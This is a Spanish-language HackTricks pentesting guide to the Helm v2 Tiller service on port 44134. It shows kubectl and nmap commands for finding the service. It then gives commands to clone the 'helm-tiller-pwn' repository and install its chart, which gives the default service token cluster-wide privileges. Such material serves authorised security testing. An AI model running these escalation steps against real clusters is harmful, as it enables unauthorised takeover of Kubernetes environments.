mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 22:18:27 +00:00
84 lines
5.3 KiB
Markdown
84 lines
5.3 KiB
Markdown
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
|
|
# Información Básica
|
|
|
|
Helm es el **gestor de paquetes** para Kubernetes. Permite empaquetar archivos YAML y distribuirlos en repositorios públicos y privados. Estos paquetes se llaman **Helm Charts**. **Tiller** es el **servicio** **que se ejecuta** por defecto en el puerto 44134 ofreciendo el servicio.
|
|
|
|
**Puerto por defecto:** 44134
|
|
```
|
|
PORT STATE SERVICE VERSION
|
|
44134/tcp open unknown
|
|
```
|
|
# Enumeración
|
|
|
|
Si puedes **enumerar pods y/o servicios** de diferentes namespaces, enuméralos y busca aquellos con **"tiller" en su nombre**:
|
|
```bash
|
|
kubectl get pods | grep -i "tiller"
|
|
kubectl get services | grep -i "tiller"
|
|
kubectl get pods -n kube-system | grep -i "tiller"
|
|
kubectl get services -n kube-system | grep -i "tiller"
|
|
kubectl get pods -n <namespace> | grep -i "tiller"
|
|
kubectl get services -n <namespace> | grep -i "tiller"
|
|
```
|
|
Ejemplos:
|
|
```bash
|
|
kubectl get pods -n kube-system
|
|
NAME READY STATUS RESTARTS AGE
|
|
kube-scheduler-controlplane 1/1 Running 0 35m
|
|
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
|
|
|
|
kubectl get services -n kube-system
|
|
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
|
|
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
|
|
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
|
|
```
|
|
También podrías intentar encontrar este servicio en ejecución verificando el puerto 44134:
|
|
```bash
|
|
sudo nmap -sS -p 44134 <IP>
|
|
```
|
|
Una vez que lo hayas descubierto, puedes comunicarte con él descargando la aplicación cliente helm. Puedes usar herramientas como `homebrew`, o mirar en [**la página oficial de lanzamientos**](https://github.com/helm/helm/releases)**.** Para más detalles, o para otras opciones, consulta [la guía de instalación](https://v2.helm.sh/docs/using\_helm/#installing-helm).
|
|
|
|
Luego, puedes **enumerar el servicio**:
|
|
```
|
|
helm --host tiller-deploy.kube-system:44134 version
|
|
```
|
|
## Escalación de Privilegios
|
|
|
|
Por defecto, **Helm2** se instaló en el **namespace kube-system** con **altos privilegios**, así que si encuentras el servicio y tienes acceso a él, esto podría permitirte **escalar privilegios**.
|
|
|
|
Todo lo que necesitas hacer es instalar un paquete como este: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) que le dará al **token de servicio predeterminado acceso a todo en todo el clúster.**
|
|
```
|
|
git clone https://github.com/Ruil1n/helm-tiller-pwn
|
|
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
|
|
/pwnchart
|
|
```
|
|
En [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) tienes la **explicación del ataque**, pero básicamente, si lees los archivos [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) y [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) dentro de _helm-tiller-pwn/pwnchart/templates/_ puedes ver cómo **todos los privilegios se están otorgando al token predeterminado**.
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|